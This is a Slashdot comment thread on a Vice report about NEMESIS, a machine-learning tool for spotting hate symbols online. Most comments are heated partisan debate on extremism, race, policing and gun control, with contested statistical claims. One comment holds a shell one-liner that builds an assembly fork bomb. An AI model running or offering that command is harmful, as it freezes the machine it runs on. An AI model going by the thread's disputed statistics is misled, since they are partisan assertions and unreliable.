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Ex-NSA Hacker Is Building an AI To Find Hate and Far-Right Symbols on Twitter and Facebook (vice.com)
Motherboard reporter Lorenzo Franceschi-Bicchierai has interviewed Emily Crose, a former NSA hacker, who has built NEMESIS, an AI-powered program that can help spot symbols that have been co-opted by hate groups to signal to each other in plain sight. Crose, who has also moderated Reddit in the past, thought of building NEMESIS after the Charlottesville, Virginia incident last year. From the report: Crose's motivation is to expose white nationalists who use more or less obscure, mundane, or abstract symbols -- or so-called dog whistles -- in their posts, such as the Black Sun and certain Pepe the frog memes. Crose's goal is not only to expose people who use these symbols online but hopefully also push the social media companies to clamp down on hateful rhetoric online. "The real goal is to educate people," Crose told me in a phone call. "And a secondary goal: I'd really like to get the social media platforms to start thinking how they can enforce some decency on their own platforms, a certain level of decorum." [...]
At a glance, the way NEMESIS works is relatively simple. There's an "inference graph," which is a mathematical representation of trained images, classified as Nazi or white supremacist symbols. This inference graph trains the system with machine learning to identify the symbols in the wild, whether they are in pictures or videos. In a way, NEMESIS is dumb, according to Crose, because there are still humans involved, at least at the beginning. NEMESIS needs a human to curate the pictures of the symbols in the inference graph and make sure they are being used in a white supremacist context. For Crose, that's the key to the whole project -- she absolutely does not want NEMESIS to flag users who post Hindu swastikas, for example -- so NEMESIS needs to understand the context. "It takes thousands and thousands of images to get it to work just right," she said.
At a glance, the way NEMESIS works is relatively simple. There's an "inference graph," which is a mathematical representation of trained images, classified as Nazi or white supremacist symbols. This inference graph trains the system with machine learning to identify the symbols in the wild, whether they are in pictures or videos. In a way, NEMESIS is dumb, according to Crose, because there are still humans involved, at least at the beginning. NEMESIS needs a human to curate the pictures of the symbols in the inference graph and make sure they are being used in a white supremacist context. For Crose, that's the key to the whole project -- she absolutely does not want NEMESIS to flag users who post Hindu swastikas, for example -- so NEMESIS needs to understand the context. "It takes thousands and thousands of images to get it to work just right," she said.
Nothing can possibly go wrong with this. It has everything: NSA, hacking, white supremacists, reddit, AI. Definitely worth funding.
I give it a day before someone convinces the rainbow flag has been co-opted and is now a symbol of hate.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
And the far left gets a pass!
How about a moderation of -1 pedantic.
What about far-left wing symbols of hate, violence, and oppression?
Antifa flags, socialist fist, hammer & sickle
After all, the Communists have killed far more innocents than the Nazis did.
It definitely needs to find a way to filter out ANYTHING that might be Xenophobic because that's always racist.
Unless it's about Russia.
Or unless it's about Boycott, Divest & Sanction which is the politically correct way to literally act like 1933-era Hitler but OK on the UC Berkeley campus so not a hate group.
Or unless it's misgynistic AND xenophobic remarks about Melania Trump because reasons.
Or unless it's antisemitism directed at Ivanka Trump because similar reasons.
https://www.self.com/story/tra...
Can't find anything claiming he worked for the NSA, simply Army intelligence (which is anything but intelligent).
Communism is both much deadlier and more socially-accepted than any other kind of hateful school of thought today.
Anything "fighting evil" that ignores images of Che Guevara and like symbols is simply partisan b.s.
In Soviet Washington the swamp drains you.
Just see who Tay follows on Twitter.
It's even better than that. Not only are they not drying to hide, they pop up whereever some offended snowflake deems them appropriate. Can't win an argument on merits? Call the other guy a Nazi and you're golden! I'll demonstrate:
1. American immigration laws should be enforced.
2. There is no evidence that police in America apply different standards to white citizens and non-white citizens.
3. Islamic fundamentalism motivates the violent act committed by many extremists and must be combated and defended against using within the framework of foreign diplomacy, foreign aid, military policy, and immigration policy.
4. Government benefits should only be provided to the demonstrably infirm or aged citizens and not be made available to able-bodied persons of working age.
5. Restrictions on the sale, ownership, or possession of firearms punish the law-abiding and do not make any dent in violent crime.
All of those are either factually true or present an opinion within the mainstream of acceptible American thought. How long will it take for someone to label one or all of them extreme and me an extremist beyond the pale of acceptable civil discourse.
I know..go figure, right?
I have actually been seeing of late, YouTube rants of people actually arguing that if you are of any non-white color they you by definition can NOT be a racist.
Seriously?
Geez....common sense has gone 101% out the door in the US.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
I have actually been seeing of late, YouTube rants of people actually arguing that if you are of any non-white color they you by definition can NOT be a racist.
Well, dredging strawmen from the bottom of the YouTube comment barrel is hardly epistemologically impressive.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
Indeed. As it happens, I believe that (at least in America) the far right is much, much, much more dangerous than the far left, but that doesn't mean these pathetic hypocritical leftist witch hunts put a smile on my face. I mean, this is so stupid. We KNOW that the American leftists are not sufficiency energized by this tactic, hence why there was dip in the turnout of Ds last year, leading to Hillary's loss. Over a year later, and it's nothing but more self-sabotage, more of the War on Humor, etc.
And yeah, the hypocrisy does really hurt. It bolsters the right wing media and disillusions the pro-rational, pro-truth left. (That's not even the same as "moderate". I don't believe in moderation for moderation's sake, just sanity for sanity's sake and truth for truth's sake.)
Show of hands: are there any leftists in the audience who don't know, or still refuse to admit, that Black Lives Matter was/is a centrally planned movement run by a organization that openly quotes and openly idolizes the fugitive "domestic terrorist" and cop killer, Assata Shakur? Because it was, and they do. For a very long time, they had an attributed quote from her at the top of their website and you could find dozens of videos of BLM protesters chanting that same quote in unison at their rallies and protests. And the other major populist leftist movement of the past few years, that Women's March thing? Also centrally organized, and they openly celebrated Assata Shakur's birthday.
The people on the left don't know this or want to hear any of this; they don't want think about it. But guess what? The right wing knows about it and they are using it (plus the War on Humor, plus a few of the actual lies printed by the "MSM", plus a thousand other groanworthy missteps by leftists who foolishly think they can beat the far right at its own game) to win over the hearts and minds of a new generation.
I have zero fear of the "far left" directly doing massive damage to America; our left-wing politicians are way too moderate-ized (and also too unpopular) for that to ever happen. But these jokers are ruining it for everyone else, all the millions of us who despite what the Republicans stand for right now. They're ruining it for everyone, because they actually think that they can out-stupid and out-demagogue the right wing in America. And you can't; you just CAN'T god damn it.
A left wing pro-PC / witch hunt mentality led directly to Trump and six months before that, it led directly to Brexit. How many clusterfucks is it going to take for people to wake up and realize that this has been a FAILED strategy and move on?
The famous statement "I disapprove of what you say, but I will defend to the death your right to say it" (incorrectly attributed to Voltaire) has always been the best summary of the principle and right of free speech. Given the sad state of civics education in the past three decades, we're seeing the result of this failure to learn this basic idea. When we put "feels" above principle, we get garbage like NEMESIS that ignores the far left crackpots and singles out the far right crackpots. People really need to listen to their elders' take on free speech and democracy and not be a sucker.
Because it's Salami Tactics by the Far Left.
https://en.wikipedia.org/wiki/...
The term Salami tactics (Hungarian: szalámitaktika) was coined in the late 1940s by the orthodox communist leader Mátyás Rákosi to describe the actions of the Hungarian Communist Party. Rákosi claimed he destroyed the non-Communist parties by "cutting them off like slices of salami." By portraying his opponents as fascists (or at the very least fascist sympathizers), he was able to get the opposition to slice off its right wing, then its centrists, then the more courageous left wingers, until only those fellow travelers willing to collaborate with the Communists remained in power.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
No, they aren't false. The myth that they are is pushed by people who stand to profit monetarily and/or politically from a wide-spread belief that they aren't true.
You can usually tell when a talking point is propaganda by the fact that it is asserted to be incontrovertible fact and that it is already commonly known, thus there is no point talking about it. Both of those tactics are repeatedly employed by both the gun grabbers and and ghetto strongmen politicians to score points in the sound-bite competition that we have allowed to pass for public debate in this country.
You've just done it yourself.
Comment removed based on user account deletion
While I do agree these claims by themselves are not racist, I did notice a strong correlation between these claims and people who are racist or support racists. Does it mean that everyone with these opinions is racist? No. Does it make sense to mistake them for one? I dont know, for me it is just the same as commenter "Train0987" who used "trans" as a pejorative.
Ironically enough, i just realized, I admitted the reason to associate these claims with racism is because the person doing the association is a bit of a bigot on his own. Like all of us, I guess.
Avantgarde Hebrew science fiction
This is all true, and part of my point. You can read it either way, but there will be people who assume the worst and demand censorship immediately without discussion. Discussion will be pre-empted by labelling the speaker a nazi sympathizer and shaming any who would engage in the conversation as "normalizers" of extremism, using as justification for this overreach the assumption that the statements are meant to be read in the worst was, and that they are "dog-whistles" to use the terminology from the summary.
Some people hear dog-whistles all the time, not aware that it's just the ringing in their own ears.
I'll tell you what I told my kids when it comes to information literacy: in a world with seven billion people, you can find examples of any kind of you can imagine. Christian terrorists? Oh, please, that's easy; there are even Jewish Neonazis out there. It doesn't make everyone who calls himself a Christian a terrorist.
What this means is that if you set out to confirm your preconceptions about some group people, you can find examples that do that. If you set out to disprove other peoples' preconceptions about that group, you will also find examples.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
First of all I didn't use "trans" as a pejorative. I did use "crazy" as one though.
Since you call me a bigot/racist, exactly which race do you imagine me to be? That I've put you on the spot with that question should indicate that you're already wrong and that you've been caught. The only dog-whistles here are those in your own head that you've been conditioned by others to hear. In other words, you are the bigot - not me.
Slightly more blacks per capita are killed as compared to whites, but when you look at the racial breakdown of violent crimes they are disproportionately committed by blacks. When you scale for criminal activity, blacks are actually shot less than whites.
Browsing at +1 - no ACs, I ignore their posts. So refreshing!
Ugh indeed.
1. Vox and Mother Jones (which one of your links cites) are partisan publications, not neutral reporters of fact.
That aside,
2. Disproportionate police use of force with and arrests of members of different population groups do not imply different enforcement standards unless there is parity in overall rates of crime among those groups. Black Americans commit more crimes per capita and live in higher-crime neighborhoods on average. Thus more encounters with police. And often for good reason. Your purported source of neutral facts tacitly assumes things like that don't matter and you tacitly assume that disparate outcomes implies disparate treatment. It doesn't. White people who charge at cops also tend to catch a bullet for their troubles.
3. Sloppy wording and lose definitions make for the best scatter plots, don't they? "Gun-related" deaths includes suicides. Whether you chose to count it in the same statistic as homicide by firearm is nothing other than that: a choice. Count it to pad the numbers one way. Exclude it to pad the numbers the other way. Half of "gun-related" deaths are suicides in the US and while I don't have numbers for the other countries on the plot, let's say the slope of that line drops by half.
The per-state chart is another cart-before-the-horse abuse of statistics. My statement was about gun restrictions. The chart is about gun ownership. The two are not the same, and while the correlation is weak to start with, the argument for causation is not there. Minnesota, Vermont, Maine, Iowa, Utah and Oregon have large populations and high gun ownership but lower gun deaths per capita than Colorado, Nevada, Maryland, and Florida which also have high populations but lower gun ownership. Then there's Chicago and Maryland and Camden NJ in particular which has strict local and state laws and insane homicide rates.
Oh, and there is no correlation between gun ownership rates and gun murders.
Browsing at +1 - no ACs, I ignore their posts. So refreshing!
Actually there is abundant data confirming that minorities get different treatment by police than whites. For example epidemiological research says whites are slightly more likely to use weed than blacks, but law enforcement statistics show that blacks are roughly 3x more likely to be arrested for marijuana possession.
It is also true that police actually shoot roughly twice as many white people per year as blacks, but there are five times as many whites as blacks. This doesn't mean that every time a cop shoots a black man that race is a factor, but statistically it is bound to be a factor in a large number of shootings, although not in the simplistic way favored by many left-wing blogs on the topic -- although that probably happens at least some of the time. Assuming that the police are no better or no worse than society at large they must have enough racist sociopaths to produce at least a few shootings like that per year.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
No, conservatives have seen fit to re-brand feminism by pointing to its extreme elements. Is a small government type an anarchist? No but an anarchist would advocate for smaller government. Is someone concerned about illegal immigration a racist? No but a racist certainly would be. Likewise a feminist is not a man hater just because they advocate for treating women equally.
It makes me crazy to hear female conservative commentators make statements like "I'm not a feminist but..." and then state they're in favor of equality of the sexes or in other words, lay out a completely main stream feminist agenda. They're literally participating in the negative re-branding of feminism while saying they're all for it.
I ignore Anonymous Coward posts. If you want to discuss something, that's awesome. Log in.
"But now gay people want to force bakers to bake them cakes "
How about another way of seeing it? How about gay people don't want to be denied basic commercial services provided to everyone else? If a baker can tell a gay couple they won't make them a cake they can tell a black couple the same.
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"1. American immigration laws should be enforced."
Sure but some common sense compassion is just what's right here.
"2. There is no evidence that police in America apply different standards to white citizens and non-white citizens."
How about the first link I found on the subject that even sites its research. https://www.google.com/url?sa=...
So basically, white folks do far less time than black for selling drugs on average. Sure, it's not police exclusive but it is most certainly tied to the same core problem.That's a single example on the issue.
"3. Islamic fundamentalism motivates the violent act committed by many extremists and must be combated and defended against using within the framework of foreign diplomacy, foreign aid, military policy, and immigration policy."
Sure but on the other end forbidding immigration to some of the most vulnerable peoples of the world is criminal (in a moral context). Just because a person is Muslim doesnt mean they should be treated differently when they seek aid from mass violence. Proper screening? Of course. Banning? These are fucking human beings suffering here.
"4. Government benefits should only be provided to the demonstrably infirm or aged citizens and not be made available to able-bodied persons of working age."
So children in poor families should go malnourished thus greatly diminishing their future competitiveness and thus increasing the likelihood they will be unproductive as adults? What a truly amazing idea that is.
There's nothing truly racist happening here but minority communities who are disproportionately poor will suffer far more with such a policy than others.
"5. Restrictions on the sale, ownership, or possession of firearms punish the law-abiding and do not make any dent in violent crime."
Please see gun violence and homicide rates for any first world country of comparable wealth. You're creating the purist of fictions on this claim. Our mass gun ownership is making us far less safe than in comparable countries.
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That's a great example of Cherry Picking.
A rather fuller examination of the data, and a proper conclusion can be found here.
A quick hint, Vox are basically using mis-framing of the population statistics to give a completely wrong picture.
How? The data presented is linked directly to the FBI. Or is this a case of the messenger causing the message to be ignored? Intolerant of the messenger, thus ignore the message... How very "tolerant" of you!
Browsing at +1 - no ACs, I ignore their posts. So refreshing!
As a professional statistician, let me explain one big problem in your attempt to analyze racial shooting statistics:
Populations.
You are attempting to count the number of people shot of a given race against the ENTIRE US population for that race. However, that's not the group your sample is being chosen from. Your group is being chosen from amongst those that are interacting with police - if you never see a cop, you are not at risk of being shot.
The correct population to use is the number of white/black/etc people that interact with police (stopped, ticketed, arrested, anything) and compare that with the sample proportion that is shot/otherwise killed. Anything else is wrong, either due to ignorance or to perpetuate a deliberate falsehood.
2, Your defense only works if you find nothing wrong with racial profiling:
https://slashdot.org/comments....
5. Stay on topic. We're talking about whether gun control reduces violent crime. Look at this chart and tell me how gun control doesn't work. If you'd like to imagine that the presence of more guns justifies more gun crime, remember that Switzerland has nearly as many guns as the US, and they're far more evenly distributed among the population there.
"When information is power, privacy is freedom" - Jah-Wren Ryel
It's even better than that. Not only are they not drying to hide, they pop up whereever some offended snowflake deems them appropriate. Can't win an argument on merits? Call the other guy a Nazi and you're golden! I'll demonstrate:
1. American immigration laws should be enforced.
2. There is no evidence that police in America apply different standards to white citizens and non-white citizens.
3. Islamic fundamentalism motivates the violent act committed by many extremists and must be combated and defended against using within the framework of foreign diplomacy, foreign aid, military policy, and immigration policy.
4. Government benefits should only be provided to the demonstrably infirm or aged citizens and not be made available to able-bodied persons of working age.
5. Restrictions on the sale, ownership, or possession of firearms punish the law-abiding and do not make any dent in violent crime.
All of those are either factually true or present an opinion within the mainstream of acceptible American thought. How long will it take for someone to label one or all of them extreme and me an extremist beyond the pale of acceptable civil discourse.
Ignoring the fact that 2 and 5 are demonstrably wrong. You are the one trying to change the definition of Nazi, not anyone else.
The problem you have is that Nazism is a far right wing ideology based on extremist nationalism and institutionalised racism (the difference between a fascist and a Nazi is the fact Nazism has racism baked into it's very foundation). You have trouble reconciling the fact that right wing philosophies can be bad, so you need to change its definition to suit you.
Further more, you're trying to change the definition to make yourself look like a victim when you aren't one. I'm going to say something controversial... White males remain the most privileged group in modern western society. The problem you have is that you cant reconcile that with your desire to be a victim.
Finally, if you find you are being called a Nazi often, you either need to examine what you are saying (and how you are saying it) or find a different audience... However its more likely to be what you're saying rather than who you're saying it to.
Calling someone a "hater" only means you can not rationally rebut their argument.
LOL is that what you think? Here's a quick overview of Thailand's gun laws:
https://en.wikipedia.org/wiki/...
Also Switzerland isn't much wealthier than the US:
http://www.nationmaster.com/co...
There's no relationship between monocultural and monoracial places and lower gun crime. Look at Somalia or any other war-torn African hellhole. Or on the other end of the spectrum, look at France, England, or eastern Canada. Those places are also not far from the US in wealth and have much lower gun crime. Or look at Australia or NZ - mostly white, monocultural or damn near close to it, incomes in the same ballpark as the US, and much lower gun crime.
On that note, you're right that the US' gun violence is due to a cultural difference. The US has a cultural problem called gun culture, and it keeps them from having sensible gun laws. Australia used to suffer with it, but they got over it.
"When information is power, privacy is freedom" - Jah-Wren Ryel